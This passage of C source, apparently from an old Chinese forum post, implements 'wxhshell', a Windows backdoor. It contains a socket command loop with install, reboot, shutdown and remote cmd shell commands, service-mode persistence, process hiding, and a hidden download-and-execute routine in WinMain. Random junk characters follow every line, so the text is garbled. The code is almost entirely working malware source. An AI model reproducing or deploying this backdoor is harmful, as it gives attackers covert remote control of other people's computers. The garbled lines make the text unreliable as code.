  else { GBVw6+(c  
rgJKXl;@s  
    switch(cmd[0]) { ]^$3S  
  f9?\Q'v8  
  // 帮助 jIaAx_  
  case '?': { Z~CL|=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s,)Z8H  
    break; = a$7OV.  
  } *shE-w ;C  
  // 安装 ssUWr=mD  
  case 'i': { N*gnwrP{  
    if(Install()) )OS^tG[=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4[v %]g`  
    else IZoS2^:yw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !8(: G6Ne  
    break; 9{]U6A*K0w  
    } vlY83mU.  
  // 卸载 bk44 qL;8  
  case 'r': { JmjqA Dex  
    if(Uninstall()) Ko|nF-r_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8GgZAu'X  
    else UOC>H%r~M?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [W;iR_7T5  
    break; tN&4t xB  
    } W_8N?coM  
  // 显示 wxhshell 所在路径 w3WBgH  
  case 'p': { slaYr`u  
    char svExeFile[MAX_PATH]; ,4M7:=gf  
    strcpy(svExeFile,"\n\r"); bz<f u  
      strcat(svExeFile,ExeFile); <F{EZ Ii  
        send(wsh,svExeFile,strlen(svExeFile),0); @ (<C{  
    break; Q}C)az  
    } ZF^$?;'3  
  // 重启 @8{-B;   
  case 'b': { dj>zy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8lk@ev=O&  
    if(Boot(REBOOT)) uxLT*,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #eadkj #;  
    else { xkV(E!O  
    closesocket(wsh); ~-ZquJ-  
    ExitThread(0); ^YiGvZJ  
    } z3x /Y/X$S  
    break; ammlUWl  
    } '_oWpzpe  
  // 关机 %? -E)n[  
  case 'd': { 0h=NbLr|S-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0}H7Xdkp  
    if(Boot(SHUTDOWN)) c&me=WD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z-ns@y(f@X  
    else { *oZ]k`-!8  
    closesocket(wsh); .^ djt  
    ExitThread(0); &8$Gy u  
    } A{X:p3$eN  
    break; o{MF'B #  
    } 4@19_+3  
  // 获取shell  i;B &~  
  case 's': { Sy()r 6n  
    CmdShell(wsh); v,]-;V~<  
    closesocket(wsh); i[L5,%5<H  
    ExitThread(0); ?TTtGbvU  
    break; m#w1?y)Z@X  
  } b?i5C4=K  
  // 退出 0])D)%B k  
  case 'x': { Bl[4[N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  /5M0[C E  
    CloseIt(wsh); %  ]G'u  
    break; 7W[+e&  
    } mk.1jx ?l  
  // 离开 Hw29V //  
  case 'q': { v *icoj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); pY.R?\  
    closesocket(wsh); Kcl~cIh77  
    WSACleanup(); o0ky]9 P  
    exit(1); 5?l8;xe`{f  
    break; 9B3+$uP  
        } tBU n KPT  
  } %vn"tp  
  } 0MpZdJ  
a=_+8RyVQ  
  // 提示信息 F-R5Ib-F*A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )O+Vft&#  
} >E lK8  
  } yK+1C68A  
eYtP396C|  
  return; <cm(QNdcC  
}  GY`mF1b  
~cr##Ff 5  
// shell模块句柄 iy!SqC  
int CmdShell(SOCKET sock) @=<B8VPJd  
{ >G9YYt~  
STARTUPINFO si; fM/~k>wl  
ZeroMemory(&si,sizeof(si)); L0\~ K~q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xqSoE[<v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,F%2'W  
PROCESS_INFORMATION ProcessInfo; S$N!Dj@e;  
char cmdline[]="cmd"; Fv_B(a  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8yCt(ms  
  return 0; s@ 02 ?+/  
} MoZ8A6e?B  
7m$EZTw?  
// 自身启动模式 Z1}@N/>>  
int StartFromService(void) iWGn4p'  
{ o[^nmHrM2  
typedef struct =0t<:-?.-  
{ :%[mc-6.  
  DWORD ExitStatus; /6 y9 u}  
  DWORD PebBaseAddress; F:7 d}Jx  
  DWORD AffinityMask; '2z1$zst,#  
  DWORD BasePriority; ^V}c8 P|  
  ULONG UniqueProcessId; ]A=yj@o$xN  
  ULONG InheritedFromUniqueProcessId; 8/vGA=  
}   PROCESS_BASIC_INFORMATION; *Z8qd{.$q  
:X*$U ~aQ  
PROCNTQSIP NtQueryInformationProcess; S:lie*Aux*  
utu V'5GD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gWD46+A){  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A Xpg_JC  
.QU]  
  HANDLE             hProcess; U3**x5F_  
  PROCESS_BASIC_INFORMATION pbi; v? Zo5uVoq  
DuQW?9^232  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {h*)|J  
  if(NULL == hInst ) return 0; -{XDQ{z<%  
8|L;y[v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7!F -.kG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KwHlpW*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XvSng"f.  
icK$W2<8mg  
  if (!NtQueryInformationProcess) return 0; (nu;o!mo9  
4iDqd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); XEBeoOX/  
  if(!hProcess) return 0; :i3 W U%  
=odKi"-6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O70#lvsM;  
oTJ^WePZQ  
  CloseHandle(hProcess); "c.@4#/_  
s^>  >]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &g"`J`  
if(hProcess==NULL) return 0; kBU`Q{.  
S2jn  pf}  
HMODULE hMod; ) 7C+hQe  
char procName[255]; W m&*  
unsigned long cbNeeded; 0`/CoP<U  
Q{|_"sfJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `mthzc3W  
<v6W l\  
  CloseHandle(hProcess); $[g#P^  
Te%V+l  
if(strstr(procName,"services")) return 1; // 以服务启动 F%f)oq`B  
_lDNYpv  
  return 0; // 注册表启动 |%oI,d=ycv  
} B.C:06E5  
d#HlO}  
// 主模块 !k Heslvi  
int StartWxhshell(LPSTR lpCmdLine) pAws{3(Q  
{ 2w}l!'ue  
  SOCKET wsl; GG`j9"t4  
BOOL val=TRUE; _+j#.o>  
  int port=0; i A<'i8$P  
  struct sockaddr_in door; R=<%!  
4,0 8`5{  
  if(wscfg.ws_autoins) Install(); @'A0Lq+#  
F/PH=Dk  
port=atoi(lpCmdLine); T/FZn{I  
u9m ~1\R*  
if(port<=0) port=wscfg.ws_port; iR"6VO  
;X;(7  
  WSADATA data; Gs\D`| 3=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~.>8ww  
$ V !25jQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p, T4BO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 34QW^{dgE  
  door.sin_family = AF_INET; f/QwXO-U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^T#jBqe  
  door.sin_port = htons(port); W&k@p9  
Qz89=#W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S,EL=3},=  
closesocket(wsl); *07?U")  
return 1; ^/VnRpU  
} +z[+kir  
"@^Q" RF  
  if(listen(wsl,2) == INVALID_SOCKET) { &>!-67  
closesocket(wsl); f@gvDo]Y  
return 1; b0/YX@  
} @?jtB  
  Wxhshell(wsl); ~0h@p4  
  WSACleanup(); &=f?:UZ%  
Be9,m!on  
return 0; xs&xcR R"  
q6ZewuV.  
} k }{o: N  
.Cf!5[0E  
// 以NT服务方式启动 PC HKH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JVGTmS[3  
{ `8r$b/6  
DWORD   status = 0; J$PlI  
  DWORD   specificError = 0xfffffff; +f%"O?  
lMH~J8U3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l,~`o$ _  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x]@z.Yj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Qea"49R  
  serviceStatus.dwWin32ExitCode     = 0; 9Z }<H/q  
  serviceStatus.dwServiceSpecificExitCode = 0; t(dVd%   
  serviceStatus.dwCheckPoint       = 0; /OYa1,  
  serviceStatus.dwWaitHint       = 0; E%( s=YhW  
OwEu S#-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NMQG[py!f  
  if (hServiceStatusHandle==0) return; r \[|'hA  
_Hd|y  
status = GetLastError();  q(X7e  
  if (status!=NO_ERROR) WNZYs  
{ ( et W4p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6O,:I  
    serviceStatus.dwCheckPoint       = 0; lSBR(a<\y  
    serviceStatus.dwWaitHint       = 0; p_ f<@WE  
    serviceStatus.dwWin32ExitCode     = status; 9^9-\DG  
    serviceStatus.dwServiceSpecificExitCode = specificError; (@qPyM6~}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rd<43  
    return; \#xq$ygg  
  } a]P w:lT  
h@Jg9AM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *u:,@io7'G  
  serviceStatus.dwCheckPoint       = 0; OrYN-A4{  
  serviceStatus.dwWaitHint       = 0; F+GX{e7E\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /G|v.#2/g  
} }O>4XFj  
4lWqQVx  
// 处理NT服务事件,比如:启动、停止 "M@&*<S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) iE}] E  
{ / Y od  
switch(fdwControl) 6VC|] |*  
{ a5R. \a<q  
case SERVICE_CONTROL_STOP: M^Y[Y@U=p  
  serviceStatus.dwWin32ExitCode = 0; jf-XVk5q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <i4]qO(0u  
  serviceStatus.dwCheckPoint   = 0; /t< &  
  serviceStatus.dwWaitHint     = 0; 2Wu`Dp;&l  
  { [\#ANA"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vfga%K%l F  
  } $8i`h}AM  
  return; R<Mc+{*>  
case SERVICE_CONTROL_PAUSE: ;HH%OfQq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `^,E4Qy  
  break; Y<u%J#'[  
case SERVICE_CONTROL_CONTINUE: /Jc{aw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dq@ * 8ui  
  break; qHp2;  
case SERVICE_CONTROL_INTERROGATE: 1 z~|SmP1  
  break; Zs{7km  
}; 6dmb bgO)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b_a k@LYiu  
} _/z_ X  
:IBP "  
// 标准应用程序主函数 jL8A_'3B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z5n-3h!+ED  
{ w|]Tt="   
Z$g'h1,zW  
// 获取操作系统版本 38T] qz[Sn  
OsIsNt=GetOsVer(); l`N4P  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  ;}?ZH4.S  
YPGzI]\  
  // 从命令行安装 dqJ 8lU?  
  if(strpbrk(lpCmdLine,"iI")) Install(); fv#ov+B  
" acI:cl?,  
  // 下载执行文件 8b.k*,r>  
if(wscfg.ws_downexe) { W4&8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k}F7Jw#.  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;Z"MO@9:  
} f|M^UHt8*  
<W!nlh  
if(!OsIsNt) { 2I}+AW!!=  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,*U-o}{8C?  
HideProc(); Za1mI^ L1  
StartWxhshell(lpCmdLine); [ i, [^  
} E"_{S.Wc  
else 1HKA`]D"p  
  if(StartFromService()) 0?8>{!I  
  // 以服务方式启动 _hyqHvP  
  StartServiceCtrlDispatcher(DispatchTable); 9#9bm  
else v0dzM/?*  
  // 普通方式启动 qbsod  
  StartWxhshell(lpCmdLine); K<:%ofB"S  
pP1DR'  
return 0; HEbL'fw^s  
}
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只看该作者 1 发表于: 2006-10-10
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